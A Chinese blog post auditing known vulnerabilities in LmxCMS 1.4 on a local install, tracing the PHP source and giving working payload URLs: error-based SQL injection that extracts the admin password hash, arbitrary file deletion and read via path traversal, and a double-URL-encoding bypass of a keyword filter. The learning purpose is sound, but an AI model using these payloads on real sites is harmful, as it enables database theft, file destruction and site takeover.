前言
每天学习一天,走大佬走过的路线,向大佬逐步靠近,虽然这个路程很难,同时有一大堆的问题让人劝退,坚持一点是一点吧。
介绍
梦想CMS简称“lmxcms”是一套开源的网站管理系统(cms),无授权限制。采用php+mysql,使用mvc架构
经典MVC模式中,M是指模型,V是视图,C则是控制器,使用MVC的目的是将M和V的实现代码分离,从而使同一个程序可以使用不同的表现形式。其中,View的定义比较清晰,就是用户界面
![图片[1]-【CNVD-1day代码审计】 梦想CMS1.4代码审计学习-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd162638.png)
安装
和大多数网站搭建流程相同,我们去官网下载源码,然后配置好数据库等,点击搭建即可,这里就不多加赘述了
![图片[2]-【CNVD-1day代码审计】 梦想CMS1.4代码审计学习-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd163001.png)
梦想CMS后台
Ta***.cl***.php文件存在SQL注入漏洞
通过描述,这个是一个后台sql注入漏洞,通过查看后台文件,可以确定存在漏洞的文件是:BookAction.class.php
通过查看源代码,可以发现这里可以自定义传参$id
//回复留言
public function reply(){
$id = $_GET['id'] ? $_GET['id'] : $_POST['id'];
//获取回复数据
$reply = $this->bookModel->getReply(array($id));
if($reply){
$reply = string::html_char($reply[0]['content']);
$this->smarty->assign('content',$reply);
$this->smarty->assign('type','update');
}else{
$this->smarty->assign('type','add');
}
继续跟踪getReply函数
//根据留言id获取全部回复
public function getReply(array $id){
$id = implode(',',$id);
$param['where'] = 'uid in('.$id.')';
return parent::selectModel($param);
}
通过调用函数selectModel得到数据,继续跟踪
//获取数据
protected function selectModel($param=array()){
if($param['field']){
$this->field=$param['field'];
}
return parent::selectDB($this->tab['0'],$this->field,$param);
}
接着调用selectDB函数,继续跟踪
//查询
protected function selectDB($tab,Array $field,$param=array()){
$arr = array();
$field = implode(',',$field);
$force = '';
//强制进入某个索引
if($param['force']) $force = ' force index('.$param['force'].')';
if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
$sqlStr = $this->where($param);
$sql="SELECT $field FROM ".DB_PRE."$tab$force $sqlStr";
$result=$this->query($sql);
while(!!$a=mysql_fetch_assoc($result)){
$arr[]=$a;
}
$this->result($result);
return $arr;
}
在这里可以看见运行的sql语句,在这个过程中并没有发现什么过滤,我们访问试试
http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=1%27
![图片[3]-【CNVD-1day代码审计】 梦想CMS1.4代码审计学习-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd163628.png)
存在保存,但是通过刚刚查看并没有什么数据回显,只能尝试报错注入等
http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=1%20or%20updatexml(1,concat(0x7e,database(),0x7e),1)#
![图片[4]-【CNVD-1day代码审计】 梦想CMS1.4代码审计学习-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd163823.png)
接下来就是唱过updatexml报错注入,这儿就直接列出语句,就不每个都截屏啦
获取数据表,因为输出限制1行,这儿遍历limit 0,1 即可,lmx_user 为第25个
http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='lmxcms1.4' limit 0,1),0x7e),0)#
获取字段 name 1 pwd 2
http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='lmx_user' limit 0,1),0x7e),0)#
获取name pwd字段
http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=1 and updatexml(1,concat(0x7e,(select name from lmx_user),0x7e),0)#
http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=1 and updatexml(1,concat(0x7e,(select pwd from lmx_user),0x7e),0)#
因为最多只显示32为,但~已经占用了一位,故这儿需要使用substring函数获取最后一位pwd
http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=1 and updatexml(1,concat(0x7e,substring((select pwd from lmx_user),32),0x7e),0)#
这样就可以获取到name=admin,pwd=580fe7ddb3408ad47d0ac8e851b3471c
梦想CMS后台Ba***.cl***.php文件存在任意文件删除漏洞
通过描述,这个是一个后台任意文件删除漏洞,通过查看后台文件,可以确定存在漏洞的文件是:BackdbAction.class.php
通过搜索unlink函数,可以确定该漏洞存在的地方在:
//删除备份文件
public function delbackdb(){
$filename = trim($_GET['filename']);
if(!$filename){
rewrite::js_back('备份文件不存在');
}
$this->delOne($filename);
addlog('删除数据库备份文件');
rewrite::succ('删除成功');
}
通过查看可以发现,他获取filename参数之后,直接调用delOne函数,进一步查看delOne函数
//根据文件名删除一条备份文件
private function delOne($filename){
$dir = ROOT_PATH.'file/back/'.$filename;
file::unLink($dir);
}
在这个函数里面并没有什么过滤,直接就进行删除了,当然也可以跨目录进行删除
http://127.0.0.1/lmxcms1.4/admin.php?m=backdb&a=delbackdb&filename=1.txt
![图片[5]-【CNVD-1day代码审计】 梦想CMS1.4代码审计学习-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd215430.png)
也可以进行穿越目录,也就是进行任意文件删除啦
当然下面的delmorebackdb函数也可以进行删除,只不过是用post传参
//批量删除备份文件
public function delmorebackdb(){
$filename = $_POST['filename'];
if($filename){
foreach($filename as $v){
$this->delOne($v);
}
addlog('批量删除数据库备份文件');
rewrite::succ('删除成功');
}else{
rewrite::js_back('请选择要删除的备份文件');
}
}
梦想CMS存在任意文件读取漏洞
通过全局搜索PHP读取文件函数名,fopen、file_get_contents这些函数,可以定位到文件:file.class.php
//获取文件内容
public static function getcon($path){
if(is_file($path)){
if(!$content = file_get_contents($path)){
rewrite::js_back('请检查【'.$path.'】是否有读取权限');
}else{
return $content;
}
}else{
rewrite::js_back('请检查【'.$path.'】文件是否存在');
}
}
并没有什么过滤,接着就是查看一下什么地方有使用这个函数,然后调用就可以了
定位到文件TemplateAction.class.php
//编辑和查看文件与图像
public function editfile(){
$dir = $_GET['dir'];
//保存修改
if(isset($_POST['settemcontent'])){
if($this->config['template_edit']){
rewrite::js_back('系统设置禁止修改模板文件');
}
file::put($this->config['template'].$dir.'/'.$_POST['filename'],string::stripslashes($_POST['temcontent']));
addlog('修改模板文件'.$this->config['template'].$dir);
rewrite::succ('修改成功','?m=Template&a=opendir&dir='.$dir);
exit();
}
$pathinfo = pathinfo($dir);
//获取文件内容
$content = string::html_char(file::getcon($this->config['template'].$dir));
$this->smarty->assign('filename',$pathinfo['basename']);
$this->smarty->assign('temcontent',$content);
$this->smarty->assign('dir',dirname($_GET['dir']));
$this->smarty->display('Template/temedit.html');
}
构造访问:
http://127.0.0.1/lmxcms1.4/admin.php?m=template&a=editfile&dir=../index.php
成功获取到首页index.php文件内容
![图片[6]-【CNVD-1day代码审计】 梦想CMS1.4代码审计学习-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd220652.png)
同时我们这样在这里直接修改文件,通过写入webshell等可以进一步扩大战果
LmxCMS V1.4前台
Ta***.cl***.php存在SQL注入漏洞
通过描述,这个是一个前台高危sql注入漏洞,通过查看前台文件,可以确定存在漏洞的文件是:TagsAction.class.php
通过阅读源代码,可以看点两个变量:$data,$name,其中$name = string::delHtml($data['name']);
既然有所调用,就都跟踪一下:
defined('LMXCMS') or exit();
class TagsAction extends HomeAction{
private $data;
private $tagsModel = null;
public function __construct() {
parent::__construct();
$data = p(2,1,1);
$name = string::delHtml($data['name']);
if(!$name) _404();
$name = urldecode($name);
if($this->tagsModel == null) $this->tagsModel = new TagsModel();
$this->data = $this->tagsModel->getNameData($name);
if(!$this->data) _404();
}
先看看p函数
/* 验证表单数据
* $type 1:post数据,2:get数据 否则为$type
* $pe 是否转义
* $sql 是否验证sql非法字符
* $mysql 是否验证mysql保留字符
*/
function p($type=1,$pe=false,$sql=false,$mysql=false){
if($type == 1){
$data = $_POST;
}else if($type == 2){
$data = $_GET;
}else{
$data = $type;
}
if($sql) filter_sql($data);
if($mysql) mysql_retain($data);
foreach($data as $k => $v){
if(is_array($v)){
$newdata[$k] = p($v,$pe,$sql,$mysql);
}else{
if($pe){
$newdata[$k] = string::addslashes($v);
}else{
$newdata[$k] = trim($v);
}
}
}
return $newdata;
}
配合上面的注释,可以知道这个函数就是用来转义sql语句,进行过滤验证,防止sql注入
//过滤非法提交信息,防止sql注入
function filter_sql(array $data){
foreach($data as $v){
if(is_array($v)){
filter_sql($v);
}else{
//转换小写
$v = strtolower($v);
if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
rewrite::js_back('【'.$v.'】数据非法');
}
}
}
}
$name = string::delHtml($data['name']);这句就是删除html标签的”<>“符号
接着往下看,重点就来啦,$name = urldecode($name);进行urldecode,这就是ctf常考的双编码类型
一般情况下浏览器会自己进行一次url解码,例如:
-> %20 空格的编码为%20
也就是我们在浏览器里面输入“ ”,或者%20,浏览器都会自动认定为空格
当我们进行二次编码时,浏览器只解码一次,例如 空格两次编码就是%25%32%30
浏览器解码只能解码成%20,不会继续解码,没办法识别为空格
但是这儿源码里面又进行了一次解码,但是在上面p函数检测的时间,检测的是双编码的语句,并没有发现违禁词,故可以绕过
http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=1%27
因为不存在回显,我们这里还是使用updatexml报错注入
直接输入报错语句,因为检测到黑名单词语,被拦截
http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)#
![图片[7]-【CNVD-1day代码审计】 梦想CMS1.4代码审计学习-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd174042.png)
接着我们对其进行二次编码
http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=%25%33%31%25%32%37%25%32%30%25%36%66%25%37%32%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%36%34%25%36%31%25%37%34%25%36%31%25%36%32%25%36%31%25%37%33%25%36%35%25%32%38%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%63%25%33%31%25%32%39%25%32%33
![图片[8]-【CNVD-1day代码审计】 梦想CMS1.4代码审计学习-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd174545.png)
![图片[9]-【CNVD-1day代码审计】 梦想CMS1.4代码审计学习-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/05/d2b5ca33bd174527.png)
接下来语句和上面的一样,这里直接使用sqlmap梭哈也是可以的














请登录后查看评论内容